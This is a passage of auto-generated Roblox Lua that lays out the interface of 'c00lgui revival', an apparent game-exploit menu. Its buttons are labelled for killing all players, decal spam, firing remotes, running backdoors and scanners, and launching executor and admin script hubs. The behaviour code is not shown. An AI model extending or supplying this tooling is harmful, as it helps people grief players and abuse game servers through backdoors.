G2L["e2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["e2"]["Text"] = [[Burn All]]; G2L["e2"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["e3"] = Instance.new("LocalScript", G2L["e2"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["e4"] = Instance.new("TextButton", G2L["d4"]); G2L["e4"]["BorderSizePixel"] = 3; G2L["e4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e4"]["TextSize"] = 14; G2L["e4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e4"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["e4"]["Name"] = [[Button]]; G2L["e4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["e4"]["Text"] = [[Kill All]]; G2L["e4"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["e5"] = Instance.new("LocalScript", G2L["e4"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["e6"] = Instance.new("TextButton", G2L["d4"]); G2L["e6"]["BorderSizePixel"] = 3; G2L["e6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e6"]["TextSize"] = 14; G2L["e6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e6"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["e6"]["Name"] = [[Button]]; G2L["e6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["e6"]["Text"] = [[Headless All]]; G2L["e6"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["e7"] = Instance.new("LocalScript", G2L["e6"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["e8"] = Instance.new("TextButton", G2L["d4"]); G2L["e8"]["BorderSizePixel"] = 3; G2L["e8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e8"]["TextSize"] = 14; G2L["e8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e8"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["e8"]["Name"] = [[Button]]; G2L["e8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["e8"]["Text"] = [[Disco]]; G2L["e8"]["Position"] = UDim2.new(0, 73, 0, 165); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["e9"] = Instance.new("LocalScript", G2L["e8"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["ea"] = Instance.new("TextButton", G2L["d4"]); G2L["ea"]["BorderSizePixel"] = 3; G2L["ea"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ea"]["TextSize"] = 14; G2L["ea"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ea"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ea"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["ea"]["Name"] = [[Button]]; G2L["ea"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["ea"]["Text"] = [[Penis All]]; G2L["ea"]["Position"] = UDim2.new(0, 73, 0, 198); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["eb"] = Instance.new("LocalScript", G2L["ea"]); -- StarterGui.CoolGui.Frame.Page5.Section1.Button G2L["ec"] = Instance.new("TextButton", G2L["d4"]); G2L["ec"]["BorderSizePixel"] = 3; G2L["ec"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ec"]["TextSize"] = 14; G2L["ec"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ec"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ec"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["ec"]["Name"] = [[Button]]; G2L["ec"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["ec"]["Text"] = [[Decal Spam]]; G2L["ec"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript G2L["ed"] = Instance.new("LocalScript", G2L["ec"]); -- StarterGui.CoolGui.Frame.Page6 G2L["ee"] = Instance.new("Frame", G2L["2"]); G2L["ee"]["Visible"] = false; G2L["ee"]["ZIndex"] = 2; G2L["ee"]["BorderSizePixel"] = 3; G2L["ee"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ee"]["Size"] = UDim2.new(1, 0, 1, -106); G2L["ee"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["ee"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["ee"]["Name"] = [[Page6]]; -- StarterGui.CoolGui.Frame.Page6.Section2 G2L["ef"] = Instance.new("Frame", G2L["ee"]); G2L["ef"]["Active"] = true; G2L["ef"]["BorderSizePixel"] = 3; G2L["ef"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ef"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["ef"]["Position"] = UDim2.new(0.5, 3, 0, 0); G2L["ef"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["ef"]["Name"] = [[Section2]]; -- StarterGui.CoolGui.Frame.Page6.Section2.Credits G2L["f0"] = Instance.new("TextLabel", G2L["ef"]); G2L["f0"]["TextWrapped"] = true; G2L["f0"]["ZIndex"] = 2; G2L["f0"]["BorderSizePixel"] = 3; G2L["f0"]["TextSize"] = 14; G2L["f0"]["TextYAlignment"] = Enum.TextYAlignment.Top; G2L["f0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f0"]["Size"] = UDim2.new(1, 3, 1, 0); G2L["f0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["f0"]["Text"] = [[Thank you for using c00lgui revival! Want to give suggestions? DM Hyperion! Discord Username: hyperionhax Special Thanks to: 007n7 KebinMaster 14anz qipu rindotekame Temokhalid Hyperion1 Hyperion2 Hyperion3]]; G2L["f0"]["Name"] = [[Credits]]; G2L["f0"]["Position"] = UDim2.new(-0.047, 3, 0, 0); -- StarterGui.CoolGui.Frame.Page6.Section1 G2L["f1"] = Instance.new("Frame", G2L["ee"]); G2L["f1"]["Active"] = true; G2L["f1"]["BorderSizePixel"] = 3; G2L["f1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f1"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["f1"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["f1"]["Name"] = [[Section1]]; -- StarterGui.CoolGui.Frame.Page6.Section1.SectionTitle G2L["f2"] = Instance.new("TextLabel", G2L["f1"]); G2L["f2"]["BorderSizePixel"] = 3; G2L["f2"]["TextSize"] = 14; G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["f2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f2"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["f2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["f2"]["Text"] = [[Remotes]]; G2L["f2"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["f3"] = Instance.new("TextButton", G2L["f1"]); G2L["f3"]["TextWrapped"] = true; G2L["f3"]["BorderSizePixel"] = 3; G2L["f3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f3"]["TextSize"] = 14; G2L["f3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f3"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["f3"]["Name"] = [[Button]]; G2L["f3"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["f3"]["Text"] = [[FraktureSS]]; G2L["f3"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["f4"] = Instance.new("LocalScript", G2L["f3"]); -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["f5"] = Instance.new("TextButton", G2L["f1"]); G2L["f5"]["BorderSizePixel"] = 3; G2L["f5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f5"]["TextSize"] = 14; G2L["f5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f5"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["f5"]["Name"] = [[Button]]; G2L["f5"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["f5"]["Text"] = [[Harked Reborn]]; G2L["f5"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["f6"] = Instance.new("LocalScript", G2L["f5"]); -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["f7"] = Instance.new("TextButton", G2L["f1"]); G2L["f7"]["BorderSizePixel"] = 3; G2L["f7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f7"]["TextSize"] = 14; G2L["f7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f7"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["f7"]["Name"] = [[Button]]; G2L["f7"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["f7"]["Text"] = [[Fire Remotes]]; G2L["f7"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["f8"] = Instance.new("LocalScript", G2L["f7"]); -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["f9"] = Instance.new("TextButton", G2L["f1"]); G2L["f9"]["TextWrapped"] = true; G2L["f9"]["BorderSizePixel"] = 3; G2L["f9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["f9"]["TextSize"] = 14; G2L["f9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["f9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["f9"]["Size"] = UDim2.new(0.475, 0, 0, 30); G2L["f9"]["Name"] = [[Button]]; G2L["f9"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["f9"]["Text"] = [[Backdoor.exe]]; G2L["f9"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["fa"] = Instance.new("LocalScript", G2L["f9"]); -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["fb"] = Instance.new("TextButton", G2L["f1"]); G2L["fb"]["BorderSizePixel"] = 3; G2L["fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["fb"]["TextSize"] = 14; G2L["fb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["fb"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["fb"]["Name"] = [[Button]]; G2L["fb"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["fb"]["Text"] = [[Comet]]; G2L["fb"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["fc"] = Instance.new("LocalScript", G2L["fb"]); -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["fd"] = Instance.new("TextButton", G2L["f1"]); G2L["fd"]["TextWrapped"] = true; G2L["fd"]["BorderSizePixel"] = 3; G2L["fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["fd"]["TextSize"] = 14; G2L["fd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["fd"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["fd"]["Name"] = [[Button]]; G2L["fd"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["fd"]["Text"] = [[LALOL Backdoor Scanner]]; G2L["fd"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["fe"] = Instance.new("LocalScript", G2L["fd"]); -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["ff"] = Instance.new("TextButton", G2L["f1"]); G2L["ff"]["TextWrapped"] = true; G2L["ff"]["BorderSizePixel"] = 3; G2L["ff"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["ff"]["TextSize"] = 14; G2L["ff"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["ff"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["ff"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["ff"]["Name"] = [[Button]]; G2L["ff"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["ff"]["Text"] = [[QuirkyCMD]]; G2L["ff"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["100"] = Instance.new("LocalScript", G2L["ff"]); -- StarterGui.CoolGui.Frame.Page6.Section1.Button G2L["101"] = Instance.new("TextButton", G2L["f1"]); G2L["101"]["TextWrapped"] = true; G2L["101"]["BorderSizePixel"] = 3; G2L["101"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["101"]["TextSize"] = 14; G2L["101"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["101"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["101"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["101"]["Name"] = [[Button]]; G2L["101"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["101"]["Text"] = [[beckdeer skenner]]; G2L["101"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page6.Section1.Button.LocalScript G2L["102"] = Instance.new("LocalScript", G2L["101"]); -- StarterGui.CoolGui.Frame.Page6.PageLabel G2L["103"] = Instance.new("TextLabel", G2L["ee"]); G2L["103"]["ZIndex"] = 3; G2L["103"]["BorderSizePixel"] = 3; G2L["103"]["TextSize"] = 18; G2L["103"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["103"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["103"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["103"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["103"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["103"]["Text"] = [[Page 6]]; G2L["103"]["Name"] = [[PageLabel]]; G2L["103"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Page1 G2L["104"] = Instance.new("Frame", G2L["2"]); G2L["104"]["Active"] = true; G2L["104"]["ZIndex"] = 2; G2L["104"]["BorderSizePixel"] = 3; G2L["104"]["AutoLocalize"] = false; G2L["104"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["104"]["Size"] = UDim2.new(1, 0, 1, -106); G2L["104"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["104"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["104"]["Name"] = [[Page1]]; -- StarterGui.CoolGui.Frame.Page1.PageLabel G2L["105"] = Instance.new("TextLabel", G2L["104"]); G2L["105"]["ZIndex"] = 2; G2L["105"]["BorderSizePixel"] = 3; G2L["105"]["TextSize"] = 18; G2L["105"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["105"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["105"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["105"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["105"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["105"]["Text"] = [[Page 1]]; G2L["105"]["Name"] = [[PageLabel]]; G2L["105"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Page1.acg G2L["106"] = Instance.new("Frame", G2L["104"]); G2L["106"]["Active"] = true; G2L["106"]["BorderSizePixel"] = 3; G2L["106"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["106"]["Size"] = UDim2.new(0.5, 0, 1, 0); G2L["106"]["Position"] = UDim2.new(0.5, 0, 0, 0); G2L["106"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["106"]["Name"] = [[acg]]; -- StarterGui.CoolGui.Frame.Page1.acg.SectionTitle G2L["107"] = Instance.new("TextLabel", G2L["106"]); G2L["107"]["BorderSizePixel"] = 3; G2L["107"]["TextSize"] = 14; G2L["107"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["107"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["107"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["107"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["107"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["107"]["Text"] = [[Admin Commands/Guis]]; G2L["107"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["108"] = Instance.new("TextButton", G2L["106"]); G2L["108"]["TextWrapped"] = true; G2L["108"]["BorderSizePixel"] = 3; G2L["108"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["108"]["TextSize"] = 14; G2L["108"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["108"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["108"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["108"]["Name"] = [[Button]]; G2L["108"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["108"]["Text"] = [[Fates Admin]]; G2L["108"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["109"] = Instance.new("LocalScript", G2L["108"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["10a"] = Instance.new("TextButton", G2L["106"]); G2L["10a"]["BorderSizePixel"] = 3; G2L["10a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10a"]["TextSize"] = 14; G2L["10a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10a"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["10a"]["Name"] = [[Button]]; G2L["10a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["10a"]["Text"] = [[Infinite Yield]]; G2L["10a"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["10b"] = Instance.new("LocalScript", G2L["10a"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["10c"] = Instance.new("TextButton", G2L["106"]); G2L["10c"]["BorderSizePixel"] = 3; G2L["10c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10c"]["TextSize"] = 14; G2L["10c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10c"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["10c"]["Name"] = [[Button]]; G2L["10c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["10c"]["Text"] = [[Audio Logger]]; G2L["10c"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["10d"] = Instance.new("LocalScript", G2L["10c"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["10e"] = Instance.new("TextButton", G2L["106"]); G2L["10e"]["BorderSizePixel"] = 3; G2L["10e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10e"]["TextSize"] = 14; G2L["10e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10e"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["10e"]["Name"] = [[Button]]; G2L["10e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["10e"]["Text"] = [[ScriptSpy]]; G2L["10e"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["10f"] = Instance.new("LocalScript", G2L["10e"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["110"] = Instance.new("TextButton", G2L["106"]); G2L["110"]["BorderSizePixel"] = 3; G2L["110"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["110"]["TextSize"] = 14; G2L["110"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["110"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["110"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["110"]["Name"] = [[Button]]; G2L["110"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["110"]["Text"] = [[Fedora Admin]]; G2L["110"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["111"] = Instance.new("LocalScript", G2L["110"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["112"] = Instance.new("TextButton", G2L["106"]); G2L["112"]["BorderSizePixel"] = 3; G2L["112"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["112"]["TextSize"] = 14; G2L["112"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["112"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["112"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["112"]["Name"] = [[Button]]; G2L["112"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["112"]["Text"] = [[Animatrix]]; G2L["112"]["Position"] = UDim2.new(0, 0, 0, 198); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["113"] = Instance.new("LocalScript", G2L["112"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["114"] = Instance.new("TextButton", G2L["106"]); G2L["114"]["BorderSizePixel"] = 3; G2L["114"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["114"]["TextSize"] = 14; G2L["114"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["114"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["114"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["114"]["Name"] = [[Button]]; G2L["114"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["114"]["Text"] = [[OPFinality]]; G2L["114"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["115"] = Instance.new("LocalScript", G2L["114"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["116"] = Instance.new("TextButton", G2L["106"]); G2L["116"]["BorderSizePixel"] = 3; G2L["116"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["116"]["TextSize"] = 14; G2L["116"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["116"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["116"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["116"]["Name"] = [[Button]]; G2L["116"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["116"]["Text"] = [[Executor]]; G2L["116"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["117"] = Instance.new("LocalScript", G2L["116"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["118"] = Instance.new("TextButton", G2L["106"]); G2L["118"]["BorderSizePixel"] = 3; G2L["118"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["118"]["TextSize"] = 14; G2L["118"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["118"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["118"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["118"]["Name"] = [[Button]]; G2L["118"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["118"]["Text"] = [[Bomb Planter]]; G2L["118"]["Position"] = UDim2.new(0, 73, 0, 165); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["119"] = Instance.new("LocalScript", G2L["118"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["11a"] = Instance.new("TextButton", G2L["106"]); G2L["11a"]["TextWrapped"] = true; G2L["11a"]["BorderSizePixel"] = 3; G2L["11a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11a"]["TextSize"] = 14; G2L["11a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11a"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["11a"]["Name"] = [[Button]]; G2L["11a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["11a"]["Text"] = [[Nameless Admin]]; G2L["11a"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["11b"] = Instance.new("LocalScript", G2L["11a"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["11c"] = Instance.new("TextButton", G2L["106"]); G2L["11c"]["BorderSizePixel"] = 3; G2L["11c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11c"]["TextSize"] = 14; G2L["11c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11c"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["11c"]["Name"] = [[Button]]; G2L["11c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["11c"]["Text"] = [[Script Hub]]; G2L["11c"]["Position"] = UDim2.new(0, 73, 0, 198); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["11d"] = Instance.new("LocalScript", G2L["11c"]); -- StarterGui.CoolGui.Frame.Page1.acg.Button G2L["11e"] = Instance.new("TextButton", G2L["106"]); G2L["11e"]["TextWrapped"] = true; G2L["11e"]["BorderSizePixel"] = 3; G2L["11e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["11e"]["TextSize"] = 14; G2L["11e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11e"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["11e"]["Name"] = [[Button]]; G2L["11e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["11e"]["Text"] = [[Super Ring Parts]]; G2L["11e"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page1.acg.Button.LocalScript G2L["11f"] = Instance.new("LocalScript", G2L["11e"]); -- 